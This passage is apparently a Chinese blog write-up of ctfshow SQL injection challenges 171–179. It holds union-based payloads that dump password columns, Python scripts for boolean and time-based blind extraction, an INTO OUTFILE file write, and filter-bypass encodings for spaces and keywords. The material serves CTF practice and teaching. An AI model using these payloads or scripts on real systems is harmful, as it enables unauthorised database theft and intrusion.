• ctfshow sql171-179


    mysql

    先打开我们本地的mysql,可以看到这些数据库

    information_schema

    information_schema 库: 是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息比如数据库名,数据库表,

    SCHEMATA表: 提供了当前MySQL实例中所有的数据库信息,show databases 结果取之此表
    TABLES 表:提供了关于数据中表的信息
    COLUMNS 表:提供了表中的列信心,详细描述了某张表的所有列已经每个列的信息

    mysql

    mysql库: MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。

    performance_schema

    performance_schema 库: 内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级,将数据保存在内存中相 比从磁盘上访问能够极大地提高应用的性能。

     

    sys

    sys 库:通过这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户。哪张表被访问过最多等等信息。

    ctfshow

    171

     

    1' 报错

    注释 --+

    三列

    爆当前数据库

    1. 1' union select 1,2,database() --+
    2. 在第三个位置插入当前数据库

    爆表

    1. 1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+
    2. 在information_schema的tables表中查找table_name当table_schema列为ctfshow_web的时候

    爆字段

    1. 1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+
    2. 与上个类似

     

    1. 1' union select 1,2,password from ctfshow_user --+
    2. 猜测flag在password字段里面

    172

    查询语句不允许直接查 username=flag的记录。 

    1. //检查结果是否有flag
    2. if($row->username!=='flag'){
    3. $ret['msg']='查询成功';
    4. }

    跟171一样也是单引号报错

    1. 1' union select 1,2 --+
    2. 字段数为2

    爆库

    爆表

    1' union select 1,table_name from information_schema.tables where table_schema='ctfshow_web' --+

     爆字段名

    1. 1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user2' --+
    2. 在columns这个表中查询字段名当表名为ctfshow_user2的时候

    1' union select 1,password from ctfshow_user2--+

     173

    1. //检查结果是否有flag
    2. if(!preg_match('/flag/i', json_encode($ret))){
    3. $ret['msg']='查询成功';
    4. }

    字段数为3

    1' union select  1,2,database() --+ 

    1' union select  1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

     

    1' union select  1,2,column_name from information_schema.columns where table_name='ctfshow_user3' --+

     

    1' union select  1,2,password from ctfshow_user3 --+

    174

    1. //检查结果是否有flag
    2. if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
    3. $ret['msg']='查询成功';
    4. }

    返回的值不能有数字了

    抓包一下,看到admin

    加个单引号

    没有信息,由此可以判断是布尔盲注了

    布尔盲注

    访问一下看看

    不适用二分法跑的很慢很慢

    1. import requests
    2. url = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
    3. flag = ''
    4. for i in range(60):
    5. for j in range(32, 128):
    6. payload = f"?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))={j},'True','False') --+" //f''是一种字符串插值的方式,也被称为f-string
    7. r = requests.get(url=url+payload).text
    8. if 'True' in r:
    9. flag += chr(j)
    10. print(flag)
    11. break
    12. import requests
    13. url="http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php"
    14. payload="?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{0},1))={1},'true','false') --+"
    15. flag=''
    16. for i in range(50):
    17. for j in range(32,128):
    18. payload1=payload.format(i,j)
    19. print(payload1)
    20. params={'password':payload1,'username':1}
    21. response=requests.get(url=url,params=params)
    22. if 'true' in response.text:
    23. flag+=chr(j)
    24. print(flag)
    25. break

     使用二分法

    1. 在每次二分查找中,计算中间值j,即min和max的中间值。
    2. 如果min和j相等,说明已经找到了特定元素,将其转换为字符并添加到flag中,然后打印flag并结束当前循环。
    3. 如果min和j不相等,则构造一个payload,用于发送请求。payload中包含一个SQL注入语句,通过判断特定位置的字符的ASCII码是否小于j来判断是否找到了特定元素
    • 如果响应结果中包含'True',说明特定位置的字符的ASCII码小于j,将max更新为j。
    • 如果响应结果中不包含'True',说明特定位置的字符的ASCII码大于等于j,将min更新为j。 
    1. import requests
    2. url = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
    3. flag = ''
    4. for i in range(60):
    5. lenth = len(flag)
    6. min,max = 32,128
    7. while True:
    8. j = min + (max-min)//2
    9. if(min == j):
    10. flag += chr(j)
    11. print(flag)
    12. break
    13. payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"
    14. r = requests.get(url=url+payload).text
    15. if('True' in r):
    16. max = j
    17. else:
    18. min = j

    替换

    1. 0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' --+
    2. 0替换为h
    3. 1替换为i
    4. 2替换为j
    5. 3替换为k
    6. 4替换为l
    7. 5替换为m
    8. 6替换为n
    9. 7替换为o
    10. 8替换为p
    11. 9替换为q

    ctfshow{plcnhacc-kipa-lqqp-qihk-iccqelhffjja}
    ctfshow{84c60acc-318a-4998-9103-1cc9e40ff22a}

    175

    1. //检查结果是否有flag
    2. if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
    3. $ret['msg']='查询成功';
    4. }

    过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag

    使用bp抓包看看,又看到api接口

     

    只有两列

    时间盲注

    写了很久大姐

    1. import requests
    2. import time
    3. url = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
    4. flag = ''
    5. for i in range(1, 60):
    6. for j in range(97, 128):
    7. payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{j},sleep(0.5),0)--+"
    8. start_time = time.time()
    9. r = requests.get(url=url + payload).text
    10. end_time = time.time()
    11. if end_time - start_time <= 0.45:
    12. flag += chr(j)
    13. print(flag)
    14. break

    这是别人用的二分法

    1. import requests
    2. from time import time
    3. url = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
    4. flag = ''
    5. for i in range(1, 100):
    6. length = len(flag)
    7. min = 32
    8. max = 128
    9. while 1:
    10. j = min + (max - min) // 2
    11. if min == j:
    12. flag += chr(j)
    13. print(flag)
    14. break
    15. payload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) --+" % (i, j)
    16. start_time = time()
    17. r = requests.get(url=url + payload).text
    18. end_time = time()
    19. # print(r)
    20. if end_time - start_time > 0.48:
    21. max = j
    22. else:
    23. min = j

    文件写入

    写入文件的前提是知道网站初始的目录,一般来说都是/var/www/html/

    1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

     

    so,输出被限制的时候可以利用文件写入操作,into outfile 

    176 select过滤

    这关select被过滤,大写绕过

    Select

     

    1' union Select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

     

    1' union Select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+

    1' union Select 1,2,password from ctfshow_user --+

    177 空格过滤

    这里用#的url编码%23来替代

    用内敛注释 /**/ 代替空格

     

    1'/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23

     

    1'/**/union/**/select/**/1,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23

    1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23

    178  *过滤

    不能用*

    那用%09来绕过空格

     

    1'%09union%09select%091,2,table_name%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23

     

    1'%09union%09select%091,2,column_name%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23

     

    1'%09union%09select%091,2,password%09from%09ctfshow_user%23

     

    179

    这里用%0c来代替空格

    1. 1'%0cunion%0cselect%0c1,2,3%23
    2. 1'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23
    3. 1'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23
    4. 1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

    总结1下空格被过滤绕过的方法

    1. %0a
    2. %0b
    3. %0c
    4. %0d
    5. %09
    6. %a0(在特定字符集才能利用)
    7. 以上均为URL编码
    8. /**/组合
    9. 括号
    10. %23代替注释符 --

  • 相关阅读:
    当今微服务盛行之架构师必经之路-领域驱动设计-上
    natapp内网穿透-将本地运行的程序/服务器通过公网IP供其它人访问
    RPC通信原理以及项目的技术选型
    OCR - Layout Parser 用于基于深度学习的文档图像分析的统一工具包
    每日刷题记录 (七)
    C语言——九九乘法表
    需求管理手册-对交付物的要求(12)
    STL 中的string 容器方法与API
    空间精密定位与导航VR模拟培训软件突破了时空限制
    13 最大子数组和
  • 原文地址:https://blog.csdn.net/2202_75317918/article/details/134331534